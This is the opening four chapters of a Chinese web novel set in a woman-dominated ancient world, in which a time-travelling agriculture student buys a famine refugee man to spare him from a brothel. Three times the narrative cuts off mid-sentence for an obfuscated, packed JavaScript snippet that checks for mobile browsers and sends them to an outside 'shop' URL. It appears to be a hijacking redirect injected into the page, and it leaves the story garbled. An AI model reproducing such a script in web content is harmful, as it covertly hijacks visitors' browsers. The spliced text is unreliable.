《半斛夫郎(女尊)》 1. 处暑01 程明月下定决心,无论如何都要买个男人回来。 程明月是个农学研究生,她的导师是专门研究育种的业内大佬。为了毕业,程明月每天都泡在两亩实验田里研究育种。 实验田在不通人烟的郊区,非常偏僻。 处暑,程明月实验田的大豆即将收获,她背着接下来打算种植的土豆和红薯,打算去城里的种子检测公司做检测,可怎么也找不到公交站。 她原本还以为自己走错了路,但当她顺着田地找了很久,终于来到所属村子时,才发现自己自己不是走错路,而是穿越了!从村里老乡的衣着和话语中,程明月得知自己是到了古代。 很快程明月就知道了原因,是她穿越了,还是个女尊世界。 程明月在水渠中照了照自己的脸,觉得颇为怪异,明明她还是原来的她,为何村里老乡似乎都认识她。 她听到有几个大娘偷偷嘀咕她时,说她是山上老程家留下那个古怪孤僻的闺女。 这也是好事,起码不会被当成异类捉起来。 只是眼下看起来很难回到现代了。 无计可施的程明月决定先回实验田旁的那两间破屋,再考虑接下来怎么办。 回去的路上,程明月看到蹲在大榕树下穿着无袖衫子的大姑娘,冲路过衣着保守的少年流里流气的吹口哨,而少年羞恼的呸了一声,遮着脸快步跑掉了。 程明月倒吸一口气,还是女尊。 怪不得她力气忽然变大了。 程明月安慰自己:好事儿,好事儿,总比直接穿古代强。 更妙的是她还有实验田。 以往程明月对这片实验田可以说是又爱又恨,现在只剩爱了,这就是她的救命稻草! 俗话说“玉米套大豆,十年九不漏!”。 她的这片实验田更是玉米套大豆套棉花套蔬菜的多重套种田,被同学们戏称为连环套田,因为一套又一套。 她实验田里的种子都是经过现代化农学家培育出来的优选种子,结出来的粮食可不是古代没有育苗过的粮食能比的。 比如同样一亩地,古代能产一百斤小麦就不错了,现代育种后随便就能三百多斤,标杆种田户能种出来五百斤!虽然化肥和农药也起到了很大的作用,可她仔细研究过这个世界的土壤,比现代过渡开垦的土壤肥沃多了,她的田地绝对也能大丰收! 程明月想好了,等她这批实验田丰收了,她就想办法再买多买几亩土地,土地丰收后再买再种,靠着现代农业优势,她就能成为大地主过上呼奴唤婢的生活了。 不是程明月思想腐朽过快,才来没几天就想成为地主阶级,实在是古代生活太难了。 就说喝水这件小事,如果你不想喝生水,就要每天从井里打水,再担回家,用斧头把从山上砍的柴劈成一段一段,塞到灶台里用火石点燃,火石还很难打着,点好柴火后把水倒到锅里,等上半天才能喝上一口开水。 问题是当她费劲把水烧好,剩下的柴火怎么办? 熄灭的话燃烧效率太低浪费柴火,不熄灭的话更浪费。所以她都是煮饭时,一开始多倒一点水,水开了之后把水盛出来,再盖上盖子煮饭。 这只是喝水带来的一个问题,其他的问题多不胜数。 其中有个很重要的问题就是煮饭。 不是说程明月连个饭都不会煮,现在正是大豆丰收的季节,要抢天时的。她每天早上把锅架上就要匆忙赶往实验田收豆子。 她这是套种田,本来就比种单一农作物的田难打理,这里还是古代,要亲手拿着镰刀一茬一茬的割下来,中午日头最高没法收割时,想着回去吃个饭,结果掀开锅盖一看,不是糊了就是夹生。 胡二娘就常说:“小程啊,你这得娶个夫郎回来,有了男人家里的事儿就有人打理了。” 胡二娘家的田和程明月就隔了一道水沟,程明月一开始不太会用火石点火,经常去她家借火,一来二去的就熟悉了。 胡二娘自己就想买个夫郎。 今年西边大旱,她们所在的临江县来了好多逃难的灾民,朝廷为了救灾开了义仓,可还是养活不了这么多的灾民。 官府便下旨,县里的百姓有余粮的,可以买灾民回去做长工,只要和灾民谈妥,官府不收手续费。 只是不能卖良为贱,也要给灾民一条活路,不准逼着人家签死契,只准签五年或是十年的短契。 胡二娘家总共有三亩田地,她家里只有她和一个老爹,胡老爹年轻时干针线活多了,上了年纪之后眼睛便不好了,现在只能在家烧水煮饭,正经活干不了。 胡二娘不光自己打算买,还劝程明月买。 “正是好时候,以前聘个夫郎可贵了,现在只要几斗粮食便能从难民手里头换个模样好的黄花大小伙。” “家里没个主事儿的男人真不行。”胡二娘说这话的时候揣着手站在程明月灶台边上,眉心拧成了一个疙瘩。 她本来是来找程明月取经种豆子的事儿的,却看到程明月正围着灶台吃冷饭。 “现在天热你吃点冷饭没事儿,等天冷了呢?而且你要穿衣吧,你总不能去街上买成衣吧。” 这也是胡娘子自己想买个夫郎的原因,买布料回来做能省一大笔银子,以往这些都是她家老爹在干,可今年胡老爹身子越来越不好,这种活也干不了。 程明月看着身上的破衣也发愁,她自从穿越过来就一直穿着来时的那一件短袖,都快洗烂了。 前几日程明月拿黄豆和胡娘子换了一件夏衣,算是有件能换洗的衣裳了。但这次夏衣解决了,以后的春秋衣,冬衣该怎么办,总不能全拿粮食和人换吧。 胡娘子见程明月似乎也有这个念头,极力劝程明月明月同她一起去买个男人回来。 “现在正是便宜的时候,南边几个郡说是旱的厉害,咱们县里来了好多逃荒过来的流民,趁着今年粟米没下来,不然下来之后可就不是这个价了。咱俩一起去说不准还能打个折。” 程明月本意是先把大豆收完再说买人的事,被胡娘子说动了心,她已经割完了大概一亩地的豆子,连夜把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712121|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆子在晒场上摔打脱粒后,算算已经有四五斗的豆子了,便提着豆子与胡娘子下了山。 真不是她懒,来了将近一周都还没把黄豆收完,她这些天过得比考研还累,每天只能睡三个时辰。 一睁眼就是去地里割豆子,没有机器,要用镰刀割。 还要贴着地面,要小心不要把籽粒从豆荚中掉落出来。 最后还得运回晒场,晾晒干了之后用棍子敲打豆荚,好让籽粒从破裂的豆荚中脱落出来。 真的每天不停地干活都干不完,眼看地里的玉米也差不多能收了,程明月心里着急。 然后她还得挑水烧火煮饭吧,偶尔还要洗衣服吧。 而且,就像胡二娘说的,以后衣服从哪儿来? 村里其他人家都是穿家人织的麻布衣裳,她只有穿过来的那套短袖长裤,以及胡二娘子给她的那一套旧衣。 可天冷了之后呢?总不能还管胡二娘子要衣服吧,听村人说这个时代的衣服都是能当钱花的,非常贵,他们这种升斗小农都是自家男人纺织裁衣。 程明月一个人干的非常吃力,她如今算是知道为什么古代喜欢一大家子人住一起了。 效率高啊。 一锅饭煮一升米也是煮,煮两升米也是煮,都是需要消耗一个人力和差不了太多的柴火。 所以一个人生活太奢侈了。 程明月下定决心要买个男人回来。 她的述求很简单,即她需要一个让她从煮饭洗衣这种重复性劳动种解脱出来,让她能专心务农的同时,对她人身安全没威胁的人。 女人的话太危险了。 程明月可是孤身一人,买女人回来万一人家想谋害她可怎么办,还是买男人安全,一来男人本来力气就没女人大,二来在社会规训之下,男人都是三从四德,很少有敢违逆女人的。 不过她不打算娶夫郎,只打算买个帮工。 因此她没有胡娘子挑人‘模样好’的要求,在程明月看来最好能是‘五大三粗’的中年大叔。 既能帮她缝补裁衣,又能帮她下地干活,还不用担心对她有非分之想。 完美。 城门楼子外头聚集了很多灾民,一个个都面黄肌瘦,穿的破破烂烂。 临江城有富商和知县一起办了粥铺,领粥的灾民排着长队,每人能领到一碗清可照人的稀粥。 知县还组织了衙役和人市的牙婆,挨着城门外搭建了简易的台子义卖。 官府给牙婆付了银钱,不许她们赚中间的费用,只求尽快把灾民安置下去。 有那卖身的灾民直接找过来,牙婆拿着抹布简单给他擦擦脸和脖子。往头发上面插根草就能卖了。 程明月和胡二娘路过时,刚好碰到一个蓬头垢面的老汉拉着一个年轻男子往台子那儿去,那男子瘦的几乎只剩一把骨头,老汉看起来倒是正常。 男人双膝跪地,紧紧抱住老汉的大腿,泪流满面地哭诉道:“公爹啊,您莫要卖掉我。哪怕您让我做牛做马都行,可不能让我对不起妻主啊。” 2. 处暑02 牙婆的台子已经蹲了有小二十人都快蹲不下了,还有些灾民和牙婆拉拉扯扯,求他买了自己或者是自己家的儿女,给口饭吃。 胡二娘跟牙婆说了自己的要求:要个有力气,会织布,会干农活的男人,最好容貌不错外加身子清白,她是打算娶回家当夫郎的,能出两斗麦子。 很快牙婆就挑了几个男人出来,胡二娘让他们张开口看了看牙齿,又检查了耳朵眼睛手脚,挑了一个身体条件最好的出来。 程明月学着胡二娘的样子,跟牙婆说了自己的述求:要个有力气的,能干活的大龄男人。 牙婆上下打量了她一遍,见她皮肤细腻头发乌黑,想着她当是家里条件比胡二娘好,便挑了几个年轻漂亮的男人出来让她选,每个只要两斛粮食。 程明月强调说:“我是买下人。” 她强调了大龄两个字,又怕牙婆听不懂重复了句:“大龄,最好是嫁过人又没牵挂的。” 牙婆嘬牙,觉得程明月是买不起贵的,才在这里挑三拣四。 她走到台子后头蹲成一排的男人堆前,挑挑拣拣一番,拽着一个脚步虚浮的年轻男人过来,男人很瘦,如同一根风中飘摇的枯草。 牙婆将这个男人扯到程明月面前:“这个,他婆娘死了,被公公卖过来的,也没啥牵挂。” 巧的是这正是刚刚程明月撞上的那个年轻男子。 程明月闭上眼做了一遍心理暗示,告诉自己这不是奴役和物化,只是不得已为之。她以后一定会做个好雇主,现在这么做不是害人是在救人。 深深吸了一口气后她狠狠心,走到这个男人面前,抖着手抬起男人的脸想学胡二娘刚刚的样子仔细看看他,却对上他一双含泪带恨的眼,程明月心里一震,犹豫了半天也没能下得去手。 胡二娘看不下去程明月磨蹭,扯起男人的手看看手指头是不是完好,又想上手捏捏他的四肢是不是有问题。 男人却忽的拼命挣脱胡二娘的手,牙婆过来帮着制服他,可男人看着瘦却很有一股蛮力,差点给牙婆推了个趔趄。 牙婆嘿了一声,挥起手用力地扇了他一巴掌,粗蛮的骂道:“狗爹样的,敢跟老娘耍。” 男人的公爹上来拦,口里说着:“别打脸,别打脸,再打便卖不出去了。” 男人哭的撕心裂肺,脸上被打的地方疼痛难忍,但这痛又怎抵得上心中凄惶不安的恐惧。 他“扑通”一声跪在公爹面前,泪如泉涌,双手死死地抱住公爹的腿,哭喊道:“公爹啊,求您了,莫要卖我。到了叔公家,我也不会多吃的,我给您做牛做马!我什么苦活累活都能干,只求您给我个安身的地方。” 他哭声凄厉,引得许多人围观。 程明月吓了一跳,往后退了两步。 牙婆一见男人这幅模样,怒目圆睁,嚷道:“不卖就不卖,我这还不收了呢,平白无故惹出这许多烦心事。不卖了,从哪来回哪去。” 男人公爹拉着牙婆的手求牙婆行行好。 可现在人比草贱,牙婆又不缺自愿卖身的苦命人,自然不愿意理他。 男人见自己闹了这一场后,牙婆便不想再卖他,心里放松下来。 他名叫叶云峥,是个秀才的儿子,从小便与同村的莫家定了亲,他未婚妻在他进门前便去了,叶家心疼儿子原不想将他嫁过去,可莫家非说她家规矩是女儿不结婚不能入祖坟,逼着他嫁了过去。 他公爹莫老爹将这丧女之痛都归咎于叶云峥,认定是他克死了自己的大女儿。从他嫁入莫家以后,公爹对叶云峥就没有过好脸色。 后来家乡大旱,莫老汉带着他和莫家小女儿投靠临江县的弟弟。 一路上,莫老汉心中只有他那宝贝女儿,对叶云峥则是横竖看不顺眼,总觉得叶云峥是个吃闲饭的累赘。 有一点点吃食,莫老汉都先紧着自己和儿子,叶云峥常常饿得头昏眼花,却只能默默忍受。 本以为到了临江县日子能好过一点,不论苦累起码吃上饱饭,可谁知莫老汉听说临江县门口有那卖人的,竟然起了贪念,想把他买了换几斗粮食。 见牙婆已经打消卖他的念头了,他紧绷的神经终于能稍微放松下来,可还未彻底放松,叶云峥便听到莫老汉凑到牙婆跟前说:“他可是望门鳏,是个清白身子!还能识字!” 牙婆听了能识字来了兴趣,她目露精光的看了男人一眼,看的他打了个冷颤。 不过牙婆依旧装作不乐意的样子:“那有什么用,不过多个三五升米。” 莫老汉急了:“怎么会这样!”他本以为说了男人是干净身子后,牙婆能感兴趣立即收了这丧门星。 省的他拖家带口去弟弟家,被弟弟嫌弃他钱少人多,白吃他家粮食。 牙婆叹了口气,低声道:“你不知道,咱们县的知县奶奶心善,只准签活契奴仆,不准直接卖死契奴隶,除非被卖的人自己愿意,否则连卖给乡里婆子当夫郎都不准。” “一点办法都没了吗?” 莫老汉一脸纠结,他若是带着这个丧门星去投靠弟弟,弟弟定会认为他尚有余产不肯全力接济他,虽说他衣角里头确实还藏了些银子,但那是要藏着给小女儿以后用的,能吃弟弟的时候,他怎么舍得拿出来。 可若是不带这丧门星,他一个男人,只怕活不下去。 万一以后叶家找来管他要儿子,他怎么说,还能说路上没有吃的,把你家儿子扔了吗? 可如果他将叶云峥买了,之后他是死是活就是他买主的事儿了,有官府的买卖文书,正好显得他不得已为之。 而且叶家就算来告,他将买他的价原样还给叶家就是了。 世事艰难,卖他是为了给他条活路,别人能理解的。可要是直接把女婿饿死不管,公公和小姑子却活得好好的,反而显得人歹毒。 莫老汉眼睛里闪过一丝狠厉,如果真的没法子,那就只能偷偷扔掉这丧门星了。总之不能让他耽误自己跟小女儿投靠弟弟。 牙婆这才将莫老汉扯到一边:“不如你将他私卖给我。” 莫老汉大惊失色:“私卖?你是说……将他卖到贱口?” 当朝律法严格,逼良为贱的事情是明令禁止的,他从没往这方面想过,可转念一想这样也好,卖到贱口他肯定就找不回来了,一了百了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712122|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“卖到贱口能得几斗粮食?” “最多半斛粮食。”牙婆算准了这老公公铁了心想买他家小郎君,撇嘴道:“不卖算了,这小蹄子模样虽好,但性子这样烈,去了楼里还要调教。现在不是以往,正是人命最贱的时候,谁也不想找个麻烦回去。” 半斛粮食,两斗半,正常卖是两斗。 莫老汉咬咬牙,这个女婿却是无论如何都要甩手出去的。 再说了,半斛粮搁以往是不多,可眼下省点吃却够他和小女儿两个人吃半个月了。 谁知道弟弟家在临江过得怎么样,能管他吃多久,这一路上他是饿怕了,多搞点吃的总是好的。 他当即狠狠点头:“你把他拉走,卖去哪里我不管。” 牙婆乐了:“便是贱口也可?”这一进一出她能赚上小一两银子,高兴之下一时没压住声音,贱口两个字被离得最近的叶云峥听到了。 他震惊的瞪大眼睛看着公爹,后背发凉,他忽然意识到接下来等待他的命运,手脚并用的往外跑去。 “给我抓住他!”牙婆急着骂道,可这里是知县派人搭的义卖台子,周围都是衙役没有她的打手,只能自己上去抓人。 叶云峥拼命挤开人群。 谁能来帮帮他。 周围一个认识的人都没有,叶云峥不知道往那里逃,他饿了这么多天本就四肢无力,如是被抓住,那他宁可去死! 叶云峥母亲是个秀才,他跟着母亲从小饱读诗书,三纲五常牢记在心,他宁愿饿死也不愿意被卖为伎。 叶云峥心中正凄惶无助,刹时间,刚刚来买人的那个女子的脸出现在他眼前。 程明月刚刚直面了一把封建时代男子命运凄惨的惨剧,没能从中缓的过来神。 在来这儿前她还是个未步入社会的学生,哪里见得了这场面,有其他牙婆过来给她推荐男人她也只摆手。 她拉着胡二娘说:“等你办完契书咱们便回去吧,我今天先不买了。” 胡二娘劝了几句,见劝不动只得作罢,牵着自己新买的小夫郎去官府临时搭的文书签订台子办契书去了,办了契书才能算是合法拥有了这个男人。 程明月垂着脑袋在外围等胡二娘,等了一会见胡二娘办完手续向她招手,正想往前走,却发现裤脚被人拉住了。 她回头一看,刚刚那个人已经跪在了地上,用手扯着她的裤脚,睁大眼睛看着她,慌乱的祈求道:“好心人,求求你买了我吧。” “你……你先起来。”程明月想扶他站起来,后头牙婆和莫老汉跟了过来。 牙婆过来拉他:“行了行了,别在这儿纠缠,以你的模样,我给你寻个好爹爹,不比去地里刨食强?” 叶云峥声音悲切的对莫老汉哭道:“不,我不去贱口,我不去贱口。公爹,求您了,莫要卖我。” 见莫老汉毫无动容之意,叶云峥转过头不住的给程明月磕头:“求求您了,求您买了我吧,求您了。您让我做什么都可以。我什么都会,我会纺纱织布,也会洗衣做饭,下地干活我也会,我还识字,我吃的不多,求你了,哪怕你给我吃土咽糠,我也不愿意进那火坑里。” 3. 处暑03 牙婆摇头道:“人家之前便不要你,你就认命吧。你公公还等着卖你的粮糊口呢,你总不能眼睁睁看着你公公小姑子的饿死吧,你就认命吧。” 说完就将他往一旁拉,他拼了命地挣扎,牙婆一个人控不住他,便喊莫老汉过来一起拉他。 叶云峥哭着说:“公爹!我也是正经秀才家的儿郎,当初订婚后妻主早亡,您非让我跟个牌坊拜堂我也拜了,我叶云峥自从嫁来后三从四德,孝敬公婆照顾小姑,地里的活家里的事我哪样没少干,哪里对不起你们莫家,为何竟要把我卖到窑子里?” 他声音悲戚:“家里大旱你要逃去临江亲戚家,莫家田产全给你变卖了,又不是真的一点银子都没了,为何非逼我去死?我娘当初让我回家时,您说我生是你家的人,死是你家的鬼,死活都不让我回。现在却要让我去做最下贱的伎,您现在不怕我辱了您莫家的门楣了?” 他公爹被他的一番话说的面红耳赤,旁边的人都对他指指点点,莫老汉却面露狰狞,恶狠狠地扑上去捂他的嘴。 待他不出声了后抬手就对他劈头盖脸地打去,边打边骂:“你这扫把星,要不是因为你,我女儿怎么会死?!你既嫁了我家,是生是死我说了算!” 骂完对牙婆说:“你给我把这个不敬尊长的小贱人卖了,随便你卖去哪儿,良贱由你。” 男人听了这话,嗓子里发出悲怆的嘶喊声,冲开人群往树上状,可他饿了很久,没什么力气,只在脑门上撞了一块乌青。 “真可怜。”胡二娘看了一会小声说,然后她拉了拉程明月:“别看了,回去吧,在这儿看着心里难受。” 程明月却将她的手拿了起来,径直走向牙婆:“官府规定不准逼良为贱,更不准签死契。” 男人猛地抬起头,与程明月对视,他的一双瞳仁又黑又深,仿佛能将人吸进去,程明月转开脸,直直的看向牙婆。 牙婆皱眉对程明月说:“别多事。” 程明月朗声道:“本朝律法规定,凡娼优乐人买良人子女为娼优者,杖一百!” 这是程明月刚刚在胡娘子办契书时,听到旁边一女子对想要将小儿子多卖两个钱的婆子说的。 牙婆不耐烦道:“我可是做好事,不然五年活契谁肯出半斛粮食买他?” “我买!” 牙婆本不愿意,要知道她买个死契的伎还能从中间赚点,从官府走一分钱也赚不到。 可旁边的衙役听了这边有人在大声高念当朝律法,正伸着头在往这边看,牙婆缩缩脑袋,只好作罢。 牙婆将莫老汉喊过来,几人走到衙役简单支起来的文书签订的桌子那儿。 莫老汉把叶云峥的户籍文书拿出来,县衙师爷这边早就准备了买卖文书,双方签字画押便算是敲定。 程明月拿起文书研究了一番后问:“如果五年到期了,他要何去何从呢?” 师爷说:“五年期满你若是不愿收他,按咱们青州府的律法,那他便是自由身了。回妻家,回娘家,或是寻个人嫁了,甚至是自立门户都可。” 程明月听到他之后可以与公爹家毫无关联,这才放下心来。 她和莫老汉按了手印之后,莫老汉抓起男人的手,在这两份契书上也按下了手印,这个男人从此便属于程明月了。 程明月将准备好的大豆递给牙婆,牙婆合计了下,半斛只多不少,便转交给眼巴巴等在一旁的莫老汉。 莫老汉接过去,用枯树一般的手伸进大豆里搅和了一把,看确实是纯粮食,没有掺杂一点石子草枝。 晚上可以吃炖豆子了。 他们自逃亡以来,刚开始还能吃点细粮,后来都是半粮半糠,哪里见过这样精细的粮食。 莫老汉笑的眼睛都弯了,脸上的皱纹挤在一起。 叶云峥呆立在一旁,双眼死死地盯着莫老汉。 他看着莫老汉捧着用他换来的粮食,那副贪婪又得意的模样,心中似有万千蚊虫啃噬。 他的身体开始颤抖,他想大喊,想质问,可喉咙像是被什么堵住了一样。 他在这个家辛苦多年,最后却像个物件般被卖掉,曾经的忍辱求全、做小伏低,曾经他为了被认可付出的一切在此刻都化为了无尽的屈辱。 他终还是被卖为奴。 叶云峥在多日的饥饿和内心屈辱双重刺激之下,眼前一黑,直挺挺的向后倒去。 程明月吓了一跳,赶紧去把他扶起来,这一扶才发现他瘦骨嶙峋,浑身遍布红肿的伤痕,右腿大腿内侧用脏布条紧紧绑住,血水从里面渗出来。 程明月看布条上全是泥和血,赶紧把布条解开,里面是一道已经化脓的伤口,似乎是什么猛兽的抓痕,深可见骨。 皮肉翻开裸露着腐肉,鲜血与脓水混合在一起,与破布粘在一起,散发着恶臭。 牙婆看了都吓一跳,她拍了拍胸口,朝程明月抬了抬下巴跟同行说:“还好让这丫头抢走了,不然就砸我手里了。这老汉忒不地道,这样的货色都卖。” 一旁有仿佛是同村逃亡的灾民对男人的公爹指指点点:“丧良心啊,路上回回遇上官府放粮,你家都是靠你女婿顶着鞭子去跟女人们挤,才能抢到。抢到粮之后他自己舍不得吃,全给你们吃。连他腿上的伤也是为了护你们,才被野狼咬伤。到了把人家卖了,也不怕头上生疮,遭报应。” 灾民们围了上来,指着他家小姑身上的包袱,小声议论说他们明明还有吃的,却要卖人。 老汉满是污垢的脸上难堪的神色愈发明显,他磕磕绊绊地辩道:“我……我这也是实在没办法啊,难道要让一大家子都饿死吗?”话语中带着些许心虚。 说完他便慌里慌张地拉起小女儿,唯恐程明月反悔后找他算账,急忙提起那袋豆子,在众人鄙夷的目光与指指点点中,埋着头不顾一切地挤出人群,头也不回地仓皇而逃。 衙役领了郎中来,郎中检查了下他的伤后,又给他把了把脉,掐人中把他掐醒了。 叶云峥悠悠地转醒过来,目光一片迷茫,许久之后才缓缓聚焦。 他迷茫的看着上方程明月紧张关切的脸,过了一会儿才想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712123|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己已经被卖了,他猛然意识到,自己已经不再是自由之身,而眼前的这个女人已然是他未来的主人。 他的喉咙中发出了一声悲怆的吼叫,那吼声仿佛是从他灵魂深处挣扎而出。他的身体实在太过虚弱无力,尽管他使出了浑身的力气去嘶吼,可在旁人听来,那也仅仅只是一声微弱的呻吟罢了。 郎中转头对程明月说:“他是长期气血不足导致体虚才会昏过去。腿上伤口倒是其次,你若付四文钱,我今日就先给他简单处理一下,其实不处理也行,回去后你自己把他腐肉剪了,慢慢也就好了。不过这都是临时方法,若是有条件得去医馆重新看下,别伤到筋。” 他就是个县衙随便抽派过来协助的小郎中,技艺不精,看不了重伤。 程明月摸出四个铜板递给郎中,郎中从随身的医箱里拿出一把小刀,先将男人腿上的腐烂的肉割掉,又直接上手箍住伤口往外挤脓水。 男人一开始还咬牙拼命忍着,后来忍不住发出微弱的呼痛声,在郎中挤完脓水后,又用小刀搅弄伤口深处烂肉时,发出凄厉的颤音。 程明月不忍再看,转过头掩饰似的翻看着卖身契,知道男人叫做“叶云峥”。 峥,峥嵘,指高峻的山峰,也指不平凡的人。 胡二娘在一旁说这个字和身后这个低眉顺眼的男人实在不匹配,问她是否要给他换个名字。 乡里农家的,叫个土起点的名字接地气。 程明月却觉得叶云峥这名字没有什么不妥,正合了铁骨铮铮之意。 郎中处理完伤口,撒上药粉,管程明月要了手巾给叶云峥包上,对程明月说:“回去之后结疤之前不要碰水。”又强调一遍:“我这就是临时处理下,要是不好记得再找个医馆看看。” 程明月将他扶起来,对他说:“我们现在先回家。自我介绍一下,我姓程,我家只我一个人,你可以叫我程娘子。你叫叶云峥是吧,以后我就叫你阿峥了。” 叶云峥唯唯诺诺的喊了一声:“是,程娘子。” 程明月看他很艰难才能跟上她们,对胡二娘说:“你带着夫郎先回去吧,我跟着阿峥慢慢走。今天多谢了。” 胡二娘跟她告了别,回头看程明月正耐心的陪着那个男人走路,心里觉得好笑。 还说不是买侍郎,最后不还是挑了个长得好看会识字的,瞧瞧这体贴劲,等上了手不知道得多疼惜呢。 不过也能理解,程明月年纪也到了,她又不愿意娶夫郎,情潮上来的时候可不好忍,是得有个男人在一旁伺候着。 就目前来说,胡二娘还真冤枉了程明月。 程明月之所以愿意选阿峥,一个是当时她确实起了恻隐之心。 另一个是叶云峥各方面都符合她的要求。 鳏夫,还识字。 现在想想,程明月觉得自己确实需要一个会识字的下属,将来她的种地事业一定会发展壮大的,现在她身边的人都相当于创业公司骨干,选个识字的可以培养成账房,管事一类的。 骨干要从创业阶段培养起! 4. 处暑04 胡二娘走后,程明月没了急着赶回去的压力,便让叶云峥不要急,他饿了这么久,脚步虚浮浑身无力,当是需要些能饱腹的食物。 路过城门时,她见城门附近有支摊卖小吃的,便买了两个炊饼。 她把其中一个递给叶云峥,说:“慢点吃,小心烫。” 这炊饼其实并不好吃,麸皮都没去干净,吃起来干巴巴的。 但这丝毫不耽误一个经历了旱灾、逃荒,被半斛粮食卖掉的人吃的狼吞虎咽。 程明月看着他剥皮瞪眼一般吞咽着手里的烧饼,一手拿着剩下的那个炊饼,另一只手拍着他的背:“唉,你,你吃慢点,这么干,别噎着了。” 叶云峥咽下最后一口烧饼,眼睛中氤氲出泪,克制不住的簌簌落泪。 程明月安慰道:“哎呀,你别哭啊,还是饿吗,要不然我这个也给你。” 叶云峥看着她手中还冒着热气的烧饼,他伸出手,可在即将触碰到的时候,又猛地用另一只手拽了回去。 他摇着头,不是因为这个。 叶云峥的理智告诉他不能这样,可他的身体控制不住渴望着食物通过喉管抵达胃里的感觉。 因为一口饭,他的公公,那个自称是自称是大户人家出身的男人;那个拿着道义之名胁迫他,口口声声说“饿死是小,失节事大”,逼着他不能改嫁的公公;那个说着“我钱家还能养不起一个人”的公公,将他用半斛粮食买给了眼前的陌生人。 他们并不是吃不起饭,他们的包袱里还有粮食,可因为他们是来投靠隔壁县的亲戚,公公他们怕亲戚嫌弃多一个人浪费粮食,所以就将他卖了。 逃荒路上他便时刻担心他公公不带他,每天辛辛苦苦的干活,遇到放粮时他拼了命也要抢,抢到后也不敢多吃,就怕公公嫌她累赘。 结果公公还是狠心不再留他。 上路前不让他走是因为行李没人拉,包袱没人背。 现在到了临江县,快要找到依靠了,公公便想要打发他了。 可叶云峥没想到他公公竟然狠心到要卖掉他!他原本以为最坏不过不要他了。 他苦苦哀求公公不要卖了他,他可以不跟着他们,他可以自己去讨饭,宁愿饿死也不想沦落贱籍。 可他却偷听到平日悉心照顾的小姑子对公公说:“爹,去小叔家还要走一天路,万一路上耽搁,包袱里的粮食吃完了可怎么办?” 叶云峥仓皇想要逃跑,又因饥饿无力,头昏眼花且腿受伤跑不动,被抓回来之后,小姑指着他对公公说:“我就说吧,得赶紧把他卖了,不然他要是先自尽了,咱们连个饼都换不来。” 当时叶云峥的公公和牙婆说:“良贱由你。” 良贱由人,不由他。 程明月小心的用袖子给他擦了擦眼泪:“你还好吗?” 叶云峥忽然想到自己在新主子面前失态,连忙跪下说:“我,我只是一时控制不住,以后不敢再犯了,求你不要卖了我。” 如果再卖的话,就一定是往见不得人的地方去了,那他宁愿一头碰死。 程明月无奈道:“放心,我不会卖你的,只要你……” 叶云峥心中默念,只要他乖乖听话,安分守己,就一定不会卖了他。 这句话他听过很多遍,可当危机来临,他不再有利用价值,他便被拉去人市,像牛马一样的被卖了出去。 “只要你不违法乱纪,不作奸犯科,我就不会卖你。”说完,她笑着向他伸出手。 叶云峥抬起头怔愣的看向程明月,程明月眼睛亮亮的,似乎又想到了什么,补充道:“就算你违法乱纪,作奸犯科,我也不会卖你,我会把你交给衙役。” 叶云峥从未料到能听到这样的回答,他内心的震撼,如在湖水中投入一颗石子,涟漪般层层扩散,他一直紧绷的神经似乎松弛了下来。 他怔愣着,将手轻轻地放到程明月手中,如同寻求温暖的雏鸟。 程明月想着叶云峥实在伤的厉害,干脆在街上付了十文钱租了个板车,让车夫将她和叶云峥拉到桥头村。 她半扶半抱的将叶云峥带回到山腰上试验田边的那三间小屋,给叶云峥介绍自己的小家:“西屋是连着的两件卧房,最里面的一间是我睡,你睡外面这间,东屋是厨房。” 实验田旁本来是三间研究所的简易房,格局和这里也很像,一个大通间,里面一间是宿舍,外头是工作间,旁边有一间简易厨房。 穿越过来之后就变成了三间土房,里面的设备也变成了和环境贴合的木制桌椅、土炕、灶台等。 对于一个农村家庭来说,这样的三间土房就太少了,没有收纳导致很多东西没有地方放。 例如现在,大堆的秸秆和柴火没地方放只能堆在外头的小院里,厨房的灶台旁只堆了小部分柴火以免下雨时家里没有干柴,旁边是粮缸和水缸,再旁边就堆满了收获的大豆,下面垫着干草,堆得很高,几乎能碰到房梁。 叶云峥看到这么多大豆的时候,眼睛都直了。 因现在是初秋,还没到当地水稻收获的季节,很多家庭都拿不出来这么多粮食的。 这也是为什么逃难来的灾民卖的价格这样低,如果再等上一个月,粮食丰收了,半斛主粮肯定就买不到一个大小伙了。 不过今年临江县很难丰收,天旱的厉害,凡是家里只有水田的基本上颗粒无收,程明月住村庄北边山地上,地势有点高,不适合水田,只能种麦子、粟这一类的,反而受到的影响少。 